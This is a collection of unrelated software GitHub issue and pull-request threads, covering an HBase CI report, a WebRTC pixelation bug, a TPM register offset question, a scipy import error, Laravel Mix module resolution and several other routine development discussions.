org.apache.hadoop.hbase.mapreduce.RoundRobinTableInputFormat.roundRobin(List) makes inefficient use of keySet iterator instead of entrySet iterator  At RoundRobinTableInputFormat.java:keySet iterator instead of entrySet iterator  At RoundRobinTableInputFormat.java:[line 109]

Subsystem
Report/Notes

Docker
ClientAPI=1.41 ServerAPI=1.41 base: https://ci-hadoop.apache.org/job/HBase/job/HBase-PreCommit-GitHub-PR/job/PR-2947/6/artifact/yetus-general-check/output/Dockerfile

GITHUB PR
https://github.com/apache/hbase/pull/2947

Optional Tests
dupname asflicense javac spotbugs hadoopcheck hbaseanti checkstyle compile

uname
Linux cc4dde387110 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

Build tool
maven

Personality
dev-support/hbase-personality.sh

git revision
master / 5fa15cfde3

Default Java
AdoptOpenJDK-1.8.0_232-b09

checkstyle
https://ci-hadoop.apache.org/job/HBase/job/HBase-PreCommit-GitHub-PR/job/PR-2947/6/artifact/yetus-general-check/output/diff-checkstyle-hbase-mapreduce.txt

whitespace
https://ci-hadoop.apache.org/job/HBase/job/HBase-PreCommit-GitHub-PR/job/PR-2947/6/artifact/yetus-general-check/output/whitespace-eol.txt

spotbugs
https://ci-hadoop.apache.org/job/HBase/job/HBase-PreCommit-GitHub-PR/job/PR-2947/6/artifact/yetus-general-check/output/new-spotbugs-hbase-mapreduce.html

Max. process+thread count
96 (vs. ulimit of 30000)

modules
C: hbase-mapreduce U: hbase-mapreduce

Console output
https://ci-hadoop.apache.org/job/HBase/job/HBase-PreCommit-GitHub-PR/job/PR-2947/6/console

versions
git=2.17.1 maven=3.6.3 spotbugs=3.1.12

Powered by
Apache Yetus 0.12.0 https://yetus.apache.org

This message was automatically generated.

_ Prechecks _

+1 :green_heart:
dupname
0m  0s
No case conflicting files found.

+1 :green_heart:
hbaseanti
0m  0s
Patch does not have any anti-patterns.

+1 :green_heart:
@author
0m  0s
The patch does not contain any @author tags.

_ master Compile Tests _

+1 :green_heart:
mvninstall
3m 43s
master passed

+1 :green_heart:
compile
0m 48s
master passed

+1 :green_heart:
checkstyle
0m 20s
master passed

+1 :green_heart:
spotbugs
0m 43s
master passed

_ Patch Compile Tests _

+1 :green_heart:
mvninstall
3m 25s
the patch passed

+1 :green_heart:
compile
0m 49s
the patch passed

+1 :green_heart:
javac
0m 49s
the patch passed

-0 :warning:
checkstyle
0m 19s
hbase-mapreduce: The patch generated 4 new + 62 unchanged - 1 fixed = 66 total (was 63)

-0 :warning:
whitespace
0m  0s
The patch has 1 line(s) that end in whitespace. Use git apply --whitespace=fix <<patch_file>>.

_ Prechecks _

+1 :green_heart:
dupname
0m  0s
No case conflicting files found.

+1 :green_heart:
hbaseanti
0m  0s
Patch does not have any anti-patterns.

+1 :green_heart:
@author
0m  0s
The patch does not contain any @author tags.

_ master Compile Tests _

+1 :green_heart:
mvninstall
3m 33s
master passed

+1 :green_heart:
compile
0m 48s
master passed

+1 :green_heart:
checkstyle
0m 19s
master passed

+1 :green_heart:
spotbugs
0m 41s
master passed

_ Patch Compile Tests _

+1 :green_heart:
mvninstall
3m 27s
the patch passed

+1 :green_heart:
compile
0m 47s
the patch passed

+1 :green_heart:
javac
0m 47s
the patch passed

-0 :warning:
checkstyle
0m 19s
hbase-mapreduce: The patch generated 4 new + 62 unchanged - 1 fixed = 66 total (was 63)

-0 :warning:
whitespace
0m  0s
The patch has 1 line(s) that end in whitespace. Use git apply --whitespace=fix <<patch_file>>.

Updated the PR based off @huaxiangsun  review. Removed fancy-dancing that was setting size to agree w/ our RRTIF sort in case anyone set the hbase.regionsizecalculator.enable to true in a subclass (Unlikely). Simplifies the PR.
Just to say that this has been tested and verified on a 10ish node cluster.

:broken_heart: -1 overall

Vote
Subsystem
Runtime
Comment

+0 :ok:
reexec
1m  6s
Docker mode activated.

_ Prechecks _

+1 :green_heart:
dupname
0m  0s
No case conflicting files found.

+1 :green_heart:
hbaseanti
0m  0s
Patch does not have any anti-patterns.

+1 :green_heart:
@author
0m  0s
The patch does not contain any @author tags.

_ master Compile Tests _

+1 :green_heart:
mvninstall
3m 25s
master passed

+1 :green_heart:
compile
0m 50s
master passed

+1 :green_heart:
checkstyle
0m 20s
master passed

+1 :green_heart:
spotbugs
0m 41s
master passed

_ Patch Compile Tests _

+1 :green_heart:
mvninstall
3m 29s
the patch passed

+1 :green_heart:
compile
0m 46s
the patch passed

+1 :green_heart:
javac
0m 46s
the patch passed

-0 :warning:
checkstyle
0m 21s
hbase-mapreduce: The patch generated 4 new + 62 unchanged - 1 fixed = 66 total (was 63)

-0 :warning:
whitespace
0m  0s
The patch has 1 line(s) that end in whitespace. Use git apply --whitespace=fix <<patch_file>>.

_ Prechecks _

+1 :green_heart:
dupname
0m  1s
No case conflicting files found.

+1 :green_heart:
hbaseanti
0m  0s
Patch does not have any anti-patterns.

+1 :green_heart:
@author
0m  0s
The patch does not contain any @author tags.

_ master Compile Tests _

+1 :green_heart:
mvninstall
3m 27s
master passed

+1 :green_heart:
compile
0m 47s
master passed

+1 :green_heart:
checkstyle
0m 20s
master passed

+1 :green_heart:
spotbugs
0m 40s
master passed

_ Patch Compile Tests _

+1 :green_heart:
mvninstall
3m 27s
the patch passed

+1 :green_heart:
compile
0m 46s
the patch passed

+1 :green_heart:
javac
0m 46s
the patch passed

-0 :warning:
checkstyle
0m 22s
hbase-mapreduce: The patch generated 4 new + 62 unchanged - 1 fixed = 66 total (was 63)

+1 :green_heart:
whitespace
0m  0s
The patch has no whitespace issues.

+1 :green_heart:
hadoopcheck
17m 18s
Patch does not cause any errors with Hadoop 3.1.2 3.2.1 3.3.0.

-1 :x:
spotbugs
0m 53s
hbase-mapreduce generated 1 new + 0 unchanged - 0 fixed = 1 total (was 0)

_ Other Tests _

+1 :green_heart:
asflicense
0m 13s
The patch does not generate ASF License warnings.

36m 39s

Reason
Tests

FindBugs
module:hbase-mapreduce

org.apache.hadoop.hbase.mapreduce.RoundRobinTableInputFormat.roundRobin(List) makes inefficient use of keySet iterator instead of entrySet iterator  At RoundRobinTableInputFormat.java:keySet iterator instead of entrySet iterator  At RoundRobinTableInputFormat.java:[line 107]

Subsystem
Report/Notes

Docker
ClientAPI=1.41 ServerAPI=1.41 base: https://ci-hadoop.apache.org/job/HBase/job/HBase-PreCommit-GitHub-PR/job/PR-2947/11/artifact/yetus-general-check/output/Dockerfile

GITHUB PR
https://github.com/apache/hbase/pull/2947

Optional Tests
dupname asflicense javac spotbugs hadoopcheck hbaseanti checkstyle compile

uname
Linux e60bf8c04651 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

Build tool
maven

Personality
dev-support/hbase-personality.sh

git revision
master / ed2693f123

Default Java
AdoptOpenJDK-1.8.0_232-b09

checkstyle
https://ci-hadoop.apache.org/job/HBase/job/HBase-PreCommit-GitHub-PR/job/PR-2947/11/artifact/yetus-general-check/output/diff-checkstyle-hbase-mapreduce.txt

spotbugs
https://ci-hadoop.apache.org/job/HBase/job/HBase-PreCommit-GitHub-PR/job/PR-2947/11/artifact/yetus-general-check/output/new-spotbugs-hbase-mapreduce.html

Max. process+thread count
96 (vs. ulimit of 30000)

modules
C: hbase-mapreduce U: hbase-mapreduce

Console output
https://ci-hadoop.apache.org/job/HBase/job/HBase-PreCommit-GitHub-PR/job/PR-2947/11/console

versions
git=2.17.1 maven=3.6.3 spotbugs=3.1.12

Powered by
Apache Yetus 0.12.0 https://yetus.apache.org

This message was automatically generated.

Merged. The spotbugs complaint is an 'inefficency' encouraging entrySet which would require a refactor that itself would be inefficient in another regard. By-passing.


Video pixelation issue on new chrome 71

On latest chrome version 71. Video stream starts pixelated. Some times it recovers after some time and some times not. Seems like issue in video bandwidth estimation. On chrome 69 this issue does not come.

There is a big problem

I am experiencing a similar problem, it may indeed be a webrtc bug. I analyzed the reason. When the chrome browser on macOS and the chome of windows make a video session.
then , if the camera of the windows is jittery, then  the  chrome of mac feedback a  small REMB and keep small long time  , so the video rate of windows  very low  and pixelated.
what I do is forbit the REMB feedback in licode
this the log of licode:
max_bit 1000000 tar_bit 1000000,  remain_bit 1320464  bitrate 1000000 remb 1000000
[erizo] remb 393004 ssrc 1
max_bit 1000000 tar_bit 1000000,  remain_bit 393004  bitrate 393004 remb 393004
[erizo] remb 1320464 ssrc 1
max_bit 1000000 tar_bit 1000000,  remain_bit 1320464  bitrate 1000000 remb 1000000
[erizo] remb 395242 ssrc 1
max_bit 1000000 tar_bit 1000000,  remain_bit 395242  bitrate 395242 remb 395242
[erizo] remb 1320464 ssrc 1
max_bit 1000000 tar_bit 1000000,  remain_bit 1320464  bitrate 1000000 remb 1000000
[erizo] remb 397548 ssrc 1
max_bit 1000000 tar_bit 1000000,  remain_bit 397548  bitrate 397548 remb 397548

Try to turn off the simulcast option. I got same pixelation problem as you and resolve simulcast settings.


[spi_device] TPM HASH_START offset

@a-will
As discussed with @eunchan, we found a typo on the latest TPM spec.
2 offsets are used for TPM HASH_START in the spec. Do you know which the correct one is, 0x20 or 0x28?

cc: @jeoongp

For what it's worth, that one blurb is the only place where I see an offset ending in 0x20 for TPM_HASH_START. Everywhere else I've seen an offset, it's 0x28.
However, I'm not an expert on TPMs. We might want to find one.
Aside: The "before returning the contents of the register" part doesn't seem to apply to TPM_HASH_START, as it always returns 0xFF on reads. However, there are some PCRs that need to be reset, and I think the spec insists we not hold off data for hashing if it takes us a long time to perform that reset--That's why they point out that it can be done while performing completion of TPM_HASH_END.

@a-pronin.

disclaimer: we don't use HASH_START/_DATA/_END, so never looked at this part of the spec before.
if I were to judge: yes, as @weicaiyang and @a-will say above, it appears to be a bug in the spec (and it is already there in rev 0.43 from 2015). and it's not covered in the curent errata.
HASH_START is indeed 0x28 in all other tables. it's unclear why it is included as 0x20 in the list of registers with 1-wait-state-max restriction, but even more so why is it included in this list at all. HASH_START (as well as HASH_END, which is at 0x20) never needs to be read in practice, only written; and if read, always returns 0xFFs. so, a 1-wait-state restriction is not important for it.
there are multiple options of handling it: (a) not providing a hw-backed register for it, (b) providing a hw-backed register for 0x20, (c) same but for 0x28, (d) providing hw-regs for both 0x20 and 0x28. all should be ok in practice as of this version of the spec. (d) is the safest from the potential compliance point of view.

@a-pronin These approaches sound reasonable to me.
@eunchan which option will you pick?

if we feel like all will be okay in practice, i would say let's just stick with 0x28. It seems like there is a 99% chance the singular 0x20 is a typo, so let's stick with that. Even if we are wrong, it doesn't appear it will really hurt.  When the spec is eventually clear and corrected, then we can move to whatever it wants.

Current SPI TPM design has two issues:

TPM_HASH_START address is configured to 0x20. Changing it is easy.
TPM_HASH_START, based on TPM spec, exists in Locality 4 only. In other localities, the address is reserved. So, HW may return 0xFF for locality 4 and upload if the request goes to other locality OR HW returns 0x00 for reserved OR HW always return 0xFF. I think second resolution is easiest among three.

Ah, one thing to add is. HASH_START address is from 0x28 to 0x2F. So, the reg occupies two DWORDs. I think this is also typo in the spec. @a-pronin

I asked the 0x20 vs 0x28 question in TCG WGs. if the response comes soon, we can act based on it.

I asked the 0x20 vs 0x28 question in TCG WGs. if the response comes soon, we can act based on it.

@a-pronin just want to follow up this issue. Have you gotten a response from the WGs?

From their response:

"HASH_START register is indeed offset 28, thank you for catching that."
"We are investigating whether the HASH_START needs to be removed from this list [the list in section 7.4.5] or a better reason defined for inclusion."

From their response:

"HASH_START register is indeed offset 28, thank you for catching that."
"We are investigating whether the HASH_START needs to be removed from this list [the list in section 7.4.5] or a better reason defined for inclusion."

Thanks @a-pronin.
@eunchan Perhaps we can merge https://github.com/lowRISC/opentitan/pull/15175 now

fixed via https://github.com/lowRISC/opentitan/pull/15175


import ysoisochone fails because there's no simps in scipy.integrate

As a cursory check ahead of editors being ready to start a JOSS review, I just tried to install ysoisochrone by downloading and unpacking the .tar.gz archive of version 0.3.1-beta then running pip install .. The installation runs but I can't import ysoisochrone because of the following error:
$ python3 -c "import ysoisochrone"
Traceback (most recent call last):
  File "<string>", line 1, in <module>
  File "/home/wball/work/joss-reviews/ysoisochrone/ysoisochrone-0.3.1-beta/ysoisochrone/__init__.py", line 10, in <module>
    from . import bayesian
  File "/home/wball/work/joss-reviews/ysoisochrone/ysoisochrone-0.3.1-beta/ysoisochrone/bayesian.py", line 5, in <module>
    from scipy.integrate import simps
ImportError: cannot import name 'simps' from 'scipy.integrate' (/home/wball/work/joss-reviews/ysoisochrone/lib64/python3.12/site-packages/scipy/integrate/__init__.py). Did you mean: 'simpson'?

I'm using Python 3.12.6 on Fedora 40 in a fresh virtual environment. I've ended up with SciPy 1.14.1 and note that simps was renamed to simpson in SciPy 1.6.0, though simps was quietly retained for some time and may have only recently been dropped. (The import was fine when I manually installed SciPy 1.13.0.)

Thanks for reporting this issue! In the newer version (v0.3.2.beta), the simpson is first been tried to import in case that users are using a newer version of scipy. Please try the newer released version of v0.3.2.beta.

That worked for me, thanks!
Incidentally, because you've packaged your code as a Python package, you can install it without manually downloading the release archive by using, e.g.
$ pip install<EMAIL_ADDRESS>
at the command line ($ is the prompt), where @v0.3.2-beta can refer to any tag, branch or commit, or be omitted entirely to get the latest commit on the default branch.


Make versions sane

The current implementation of versions, via the Version struct, was always intended to be temporary and replaced by something once I'd gotten my head further around how versions needed to behave. It's metastasizing, and needs to be finalized presently. The primary challenge is figuring out how the relationship between versions, the type of source, and weirdness in vendor.
The simple approach suggests that there are four types of versions:

A floating version (a branch)
A fixed version, noncompliant with semver
A fixed version, compliant with semver
An immutable version/revision identifier (often a SHA1)

However, there's one 'magic' case that we probably want to support: when there's something in vendor (without the metadata file) at a path we want, and there's no upstream or cache repo...we want a magic version that is like a placeholder, taking on whatever the other data in the system says it likely is...as long as nothing in the graph disagrees about what version it should be. (And, probably, static analysis says it's OK.)
Also, we have to consider how these versions may vary in their behavior based on the underlying source type. Right now, Version has an Underlying field which assumes an immutable revision exists; does that change if we ever develop a packaging system? And how does that underlying concept apply in the context of the above vendor-salvaging case?

#11 brings us to being pretty much good on this, which is a big relief.
I didn't handle that 'magic' case yet, as that involves rearchitecting another part of the system (need to make an issue for that...), and I'm not entirely clear on how it should behave. But, whatever we do on that should fold comfortably into what I've gotten started in that PR.

I also (partly) punted on the whole dereferencing versions into their revs and comparing at the rev level thing - that's now #12

Closing now that PR is merged


Orphan users (windows users)

Running DBAtools orphan users shows 0 users and things like EXEC sp_change_users_login 'Report' returns 0 users, all should be good right ?
This query below returns the users and the accounts it returns do not have a login in the master database. I can add the account and the user drops off the query below.
USE [master]
GO
CREATE LOGIN [windows username here] FROM WINDOWS WITH DEFAULT_DATABASE=[master]
GO

 SELECT  *
 FROM    sys.database_principals
 WHERE   sid NOT IN ( SELECT sid
                          FROM   sys.server_principals ) -- No login with a matching SID
         AND (type = 'U' --WINDOWS_USER
                  )
         AND principal_id > 4 -- filter system (well-known) principals

dbatools version info
Major  Minor  Build  Revision
-----  -----  -----  --------
0      9      174    -1

watch out because "orphan" windows users may be left in by design when you work with windows groups.

I understand what you mean @markinmon .
However, this command born to do the job of sp_change_users_login and that is why do not take into account the windows logins.
If we agree that it make sense having a new switch to verify also the windows accounts, we can implement it. But it will be something to do after v1.0
@niphlod @wsmelton @sqllensman @potatoqualitee
please share your toughts too

i have no opinion either way and will defer to others 👍

I would not agree with adding this because contained databases can give you different results as well. If someone has stronger belief that it should be just open a new issue.


Support for adding message/thread context at the end

Add support similar to prefixContext but have the message/thread context at the end of the message.
We also want to include the parent posts' user nick so that configured IRC clients would still highlight on replies to a user's reply.

Thanks!


Add automatic controller and routing for a schema

Using a macro on Laravel's Router, we can quickly define routes for a specific
query builder. Using this approach, we can easily re-use most of the
functionality from Laravel (e.g. by wrapping the route in a group with some
middleware).
The routes can then be send to a generic controller that knows about the query
builder that we've defined in the route. It uses a somewhat sneaky method for
passing this metadata to the controller; the extra metadata is passed in the
array that Laravel uses to store the action for that route.
The next step would be to add relationships to the route and the generic
controller, such that routes like:
/users/1/relationships/posts

would function out of the box.
Tests also need to be added.

Codecov Report

Merging #25 into master will decrease coverage by 2.65%.
The diff coverage is 39.39%.

@@             Coverage Diff              @@
##             master      #25      +/-   ##
============================================
- Coverage     81.94%   79.29%   -2.66%
- Complexity      851      889      +38
============================================
  Files           105      110       +5
  Lines          1983     2115     +132
============================================
+ Hits           1625     1677      +52
- Misses          358      438      +80

Impacted Files
Coverage Δ
Complexity Δ

src/Apitizer/Routing/PendingSchemaRegistration.php
0% <0%> (ø)
8 <8> (?)

src/Apitizer/GenericApi/Controller.php
0% <0%> (ø)
10 <10> (?)

src/Apitizer/GenericApi/AuthorizedController.php
0% <0%> (ø)
1 <1> (?)

src/Apitizer/GenericApi/ModelService.php
0% <0%> (ø)
3 <3> (?)

src/Apitizer/ServiceProvider.php
96.77% <75%> (-3.23%)
7 <1> (+1)

src/Apitizer/Routing/Route.php
96.07% <96.07%> (ø)
15 <15> (?)

... and 1 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 0685ce6...b1f01ff. Read the comment docs.

After some discussion with Bryse, the following should happen:
Routes
The QueryBuilder will receive another callback, scope, which will define the scope of that query builder:
public function scope(Scope $scope): void
{
    $scope->readable()
        ->creatable()
        ->updatable()
        ->deletable();

    // This may also be shortended to:
    $scope->crud();
}

Based on the defined scopes, the route builder can then check which endpoints should be created. To support nested routes (e.g. /posts/1/comments/1) the scope will also allow associations to be defined:
public function scope(Scope $scope): void
    $scope->association('name-of-association', function ($childScope) {
        // define child scope...
    });
}

The scope methods should also support two parameters:

The service class to use (class-string)
The name of the method to use (default to the standard CRUD name, e.g. create)

Because the route definition will have to read the query builder, the associations and the models, it might slightly slow down route definitions on development, but on production the routes are cached, so it should have no impact there.
Services
Rather than providing some kind of interface on what the service classes should look like, we're going to leverage Laravel's CI container to leave that up to the programmer. When the (generic) controller calls the service, it should automatically inject the right variables based on the typehints that are defined on the methods, similar to how the controllers in Laravel get their parameters injected.
The reason for this approach is to allow the programmer to define what parameters they need, while also making it easier to reuse services in things like Artisan commands.


fix(DeploymentsPanel): Exclude deployments where deployedTo is null.

Checklist

[X] Appropriate branch selected (all PRs must first be merged to dev before they can be merged to master)
[na] Any modified or new methods or classes have helpful JSDoc and code is thoroughly commented
[X] The description lists all applicable issues this PR seeks to resolve
[na] The description lists any configuration setting(s) that differ from the default settings
[na] All tests and CI builds passing

Description
Fix to #666 in response to the Deploy button not working in the feed version navigator. Uses similar logic than for displaying the Preview button in the feed version navigator.

Codecov Report

Merging #667 (40893a8) into fix-deploy-preview (ffeaee8) will decrease coverage by 0.00%.
The diff coverage is 66.66%.

:exclamation: Current head 40893a8 differs from pull request most recent head 34aab05. Consider uploading reports for the commit 34aab05 to get more accurate results

@@                  Coverage Diff                   @@
##           fix-deploy-preview     #667      +/-   ##
======================================================
- Coverage               15.67%   15.67%   -0.01%
======================================================
  Files                     329      329
  Lines                   16799    16800       +1
  Branches                 5064     5065       +1
======================================================
  Hits                     2634     2634
- Misses                  12115    12116       +1
  Partials                 2050     2050

Flag
Coverage Δ

unit_tests
15.67% <66.66%> (-0.01%)
:arrow_down:

Flags with carried forward coverage won't be shown. Click here to find out more.

Impacted Files
Coverage Δ

.../manager/components/deployment/DeploymentsPanel.js
68.00% <66.66%> (-0.69%)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update ffeaee8...34aab05. Read the comment docs.

Closing in favor of https://github.com/ibi-group/datatools-ui/pull/666/commits/122c6db4946c28275758b12506de2634fa548b60 in #666.


Problems with Install on Ubuntu

/bin/mkdir -p '/usr/lib/postgresql/9.5/lib'
/bin/mkdir -p '/usr/share/postgresql/9.5/extension'
/bin/mkdir -p '/usr/share/postgresql/9.5/extension'
/usr/bin/install -c -m 755  postal.so '/usr/lib/postgresql/9.5/lib/postal.so'
/usr/bin/install -c -m 644 .//postal.control '/usr/share/postgresql/9.5/extension/'
/usr/bin/install -c -m 644 .//postal--1.0.sql  '/usr/share/postgresql/9.5/extension/'

Doesn't load..
test=# create extension postal;
ERROR:  could not load library "/usr/lib/postgresql/9.5/lib/postal.so": libpostal.so.0: cannot open shared object file: No such file or directory

file shows as being there..
 -rwxr-xr-x 1 root root 36K Mar  1 15:25 /usr/lib/postgresql/9.5/lib/postal.so

I believe the Makefile is fine, and shouldn't need to be modified...
libtool: finish: PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin:/sbin" ldconfig -n /usr/local/lib
----------------------------------------------------------------------
Libraries have been installed in:
   /usr/local/lib

If you ever happen to want to link against installed libraries
in a given directory, LIBDIR, you must either use libtool, and
specify the full pathname of the library, or use the '-LLIBDIR'
flag during linking and do at least one of the following:
   - add LIBDIR to the 'LD_LIBRARY_PATH' environment variable
     during execution
   - add LIBDIR to the 'LD_RUN_PATH' environment variable
     during linking
   - use the '-Wl,-rpath -Wl,LIBDIR' linker flag
   - have your system administrator add LIBDIR to '/etc/ld.so.conf'

See any operating system documentation about shared libraries for
more information, such as the ld(1) and ld.so(8) manual pages.
----------------------------------------------------------------------
 /bin/mkdir -p '/usr/local/include/libpostal'
 /usr/bin/install -c -m 644 libpostal.h '/usr/local/include/libpostal'

Your system isn't set up to load dynamic libraries from /usr/local/lib, you'll need to fix that. In the good old days you'd just
echo /usr/local/lib >> /etc/ld.so.conf

but it's probably much more complex in these modern times.

It shows in
cat /etc/ld.so.conf.d/libc.conf
# libc default configuration
/usr/local/lib

Stupid question: did you run ldconfig and/or reboot after installing the library files?


added drum kit project

Developer Checklist

[ ] Followed guidelines mentioned in the readme file.
[ ] Followed directory structure. (e.g. ProjectName/{USERNAME}/...yourfiles)
[ ] Starred ⭐ the Repo (Optional)

Summary
add a summary here
it is a drum kit project using html css and js
Screenshot

attach screenshots/gifs here
Live Project Link
add a working project link here

i have followed the folder structure and added a read me file inside the folder so you can review it.


Add rendering mappings for 1.21-pre2

I’ll probably add some of these to the $snapshot mappings; the 24w33a mappings have diverged enough for the merge conflicts to be a genuine PITA.


fix(sec): upgrade org.hibernate:hibernate-core to 5.4.24.Final

What happened？
There are 1 security vulnerabilities found in org.hibernate:hibernate-core 5.1.16.Final

CVE-2020-25638

What did I do？
Upgrade org.hibernate:hibernate-core from 5.1.16.Final to 5.4.24.Final for vulnerability fix
What did you expect to happen？
Ideally, no insecure libs should be used.
The specification of the pull request
PR Specification from OSCS

hibernate-5 module isn't compatible with hibernate 5.4


Fixes .Indexes and .tables commands error handler and tests

Fixes #233
command_test.go had some errors.
.Indexes returns table not found

Codecov Report

:exclamation: No coverage uploaded for pull request base (master@dfeafd1). Click here to learn what that means.
The diff coverage is n/a.

@@            Coverage Diff            @@
##             master     #236   +/-   ##
=========================================
  Coverage          ?   61.34%
=========================================
  Files             ?       68
  Lines             ?     6327
  Branches          ?        0
=========================================
  Hits              ?     3881
  Misses            ?     1933
  Partials          ?      513

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update dfeafd1...b73d737. Read the comment docs.


feat: image transformation parameters

It is now possible to pass on image transformation parameters in nhost.storage.getPublicUrl().
Available parameters:

height
width
blur
quality

For instance:
const url = nhost.storage.getPublicUrl({
  fileId: 'cd8eaca3-30a9-460e-b4d7-b4b7afc759c1',
  width: 800,
  blur: 20
})

missing part: test on the quality parameter, that doesn't seem to work correctly in hasura-storage

Codecov Report

Merging #1461 (8f681b8) into main (d42719e) will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##             main    #1461   +/-   ##
=======================================
  Coverage   85.92%   85.92%
=======================================
  Files          83       83
  Lines        9236     9236
  Branches      498      498
=======================================
  Hits         7936     7936
  Misses       1300     1300

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.


fix: reduce CALLER balance before executing tests

Closes https://github.com/foundry-rs/foundry/issues/2390
Ran this against some repos locally without issues, want to make sure CI passes before merging though

Failure looks unrelated to this change?


⚠ GLDDNS Server (ns2.glddns.com) has degraded performance

In 1c88d2b, GLDDNS Server (ns2.glddns.com) (ns2.glddns.com) experienced degraded performance:

HTTP code: 200
Response time: 698 ms

Resolved: GLDDNS Server (ns2.glddns.com) performance has improved in 88922a8 after 7 minutes.


import without file extension causes error (6.0.0-beta.10).

Laravel Mix Version: 6.0.0-beta.10
Node Version : 14.11.0
NPM Version : 6.14.8
OS: MacOS

Description:
After I updated to version 6.0.0-beta.10,
in the dependency codes(this time, the graphql package)
this won't work:
import { foo } from './foo';

this works:
import { foo } from './foo.mjs';

Steps To Reproduce:
webpack.mix.js
mix.options({ processCssUrls: false })
    .vue({ version: 3 })
    .ts('resources/js/app.js', 'public/js')

app.js
import Amplify, { Auth } from 'aws-amplify'

// error
// error  in ./node_modules/graphql/language/printer.mjs

// Module not found: Error: Can't resolve './visitor' in '/Users/Documents/htdocs/node_modules/graphql/language'
// Did you mean 'visitor.mjs'?
// ...
// ...

This is because we don't have '.mjs' in our resolved extension list.

@thecrypticace Thanks for replying. I'm not a webpack export, would you tell me how to fix this? Thanks!

Huh we do actually, I just checked. That's super weird. I'll take another look.

@thecrypticace Thanks man, hopefully it's an easy fix🤥

I'm getting the same error with .tsx files even though I'm using the .ts() and .react() methods in my mix config:
mix.ts('resources/js/react/app.tsx', 'public/js/react').react()

I had to manually add the extension to make it work (this wasn't an issue before mix 6):
mix.override((webpackConfig) => {
    webpackConfig.resolve.extensions.push('.tsx');
});

Not sure if this is completely related but when registering vue components without .vue extension its is now also throwing the error saying Module not found: Error: Can't resolve ... example:
Vue.component(
  'widget-component',
  require('../src/components/WidgetComponent').default
);

To make it work extension needs to be added:
Vue.component(
  'widget-component',
  require('../src/components/WidgetComponent.vue').default
);

Not sure if this is a new desired behaviour, but I thought I'll add my findings to this issue :)

@yaquawa
The issue with aws-amplify has to do with a breaking change in webpack 5 with how it handles imports of .mjs files. When importing an .mjs file you must specify an extension. This is likely an issue that should be brought up in the aws-amplify repo.
In the mean time you can use this to work around it:
mix.webpackConfig({
  module: {
    rules: [
      {
        test: /\.mjs$/i,
        resolve: { byDependency: { esm: { fullySpecified: false } } },
      },
    ],
  },
})

@AdrianMrn: I cannot reproduce this with a simple App.tsx file. Can you open a separate issue with a reproduction repo?

@thecrypticace  The fix seems to have made it without fullySpecified: false which doesn't seem to be a good default, any reason why?


Lineage filter for Sample Filtering

Summary:

What: Adds in lineage filter for Sample Filtering feature
Ticket: sc<184610>
Env: https://vince-lineage-filter-frontend.dev.czgenepi.org/

Demos:

Notes:

There is a major issue with the dropdown as currently implemented. When you type in a search term to the Dropdown (say, "BA"), filtering works as expected. However, as soon as you click an option, the search term gets cleared, and the filter resets. This is a problem, because it would be a common case for our users to want to type in "BA", then select every BA.x lineage that appears. But because of the reset, they would have to type in "BA" over and over again to get back to that section of the lineage choices.

After doing a bit of research into it, this is the standard behavior in the czifui Dropdown, and I think it's also the standard behavior in the MUI components czifui is building off of. I couldn't find a way to disable this search term clearing after selection. Hopefully I missed something, but I'm worried this might be very hard to solve. I'm going to bring this up in the SDS Support channel. I'm not sure if this should be considered a blocker for merging or if we can merge it in now and hopefully get a solution from SDS in the next week. @Janeece, thoughts?

The lineages filter is currently set to only display 100 options at a time instead of all the lineages at once (~1600). If you try to render all the lineages at once, the Dropdown takes multiple seconds to render and is very slow when interacting. This is basically the approach that the Locations dropdown in the metadata upload flow takes -- even if there would be more than 100 matches, it only displays 100 at most. I discussed this with @Janeece and she thought it was an acceptable compromise. It's a little bit weird compared to Locations though because Locations only begins to show options after at least 3 characters are typed, while Lineages shows options right from the start. The alternative would be figuring out virtualizing the rows though, and I wasn't sure about how much effort that would entail, so I think this was the better choice? That said, depending on how the above issue with search clearing on selection goes, it might be necessary to virtualize so the user could just scroll down to the "BA" zone as a stopgap.
There are a number of visual specs I wasn't able to work into the dropdown. I've discussed them with Janeece and she was tentatively okay with them not being in there. I tried to work on them for awhile, but with the way it interacts with czifui, I'm not sure we can accomplish them on our end, or if they would necessitate changes in the czifui codebase. Here's the major ones:

Coloring of the input dropdown click target: specs have it getting a colored border when the Dropdown is open. I couldn't figure out a way to target this aspect since the open state is abstracted away within Dropdown, but we need the InputDropdownComponent within Dropdown to be get that as a prop so it can do styling based on that. Also, this might be part of the planned design for Dropdown in SDS and it's just not implemented yet? I'm going to bring this up in the SDS Support channel.
max-height for the open dropdown menu: specs have it at 290px. I tried for awhile to mess with this, but was unsuccessful. I can change the menu container's max-height, but the items don't respect it and just blow right past the edge making for very weird visuals. It seems that whatever is rendering the menu items is doing some cleverness based on window height, so the actual menu height varies depending on the window, so it seems that was beating out my attempts to control it.

In retrospect, maybe I just missed trying a CSS overflow property. I can go try that.
@Janeece might also be okay with not having the max-height -- since the menu re-sizing is fairly intelligent, it does a good job of never letting the bottom of the window cut off any of the menu, so it's not as much of a visual problem.

The dropdown menu does an automatic "flip" if you scroll the page in such a way that a part of it would no longer be visible. So the menu will flip to being above the dropdown opener if scrolling would cause it to go out the edge of the window. This is the default behavior for czifui and MUI. @Janeece wasn't sure if we want it or not, it hadn't come up before in design discussions, so she was going to discuss with rest of Design. Probably not a blocker on merging now, but if we need to disable it, you can do so with code along the below lines:

	    import { DropdownPopper } from "czifui";
		<StyledDropdown
		  ... other props like normal ...
		  PopperComponent={(props: any) => (
		    <DropdownPopper
		      placement="bottom-start"
		      modifiers={{
		        flip: {
		          enabled: false,
		        },
		      }}
		      {...props}
		    />
		  )}
		/>

Checklist:

[x] I merged latest <base branch>
[x] I manually verified the change
[x] I added labels to my PR
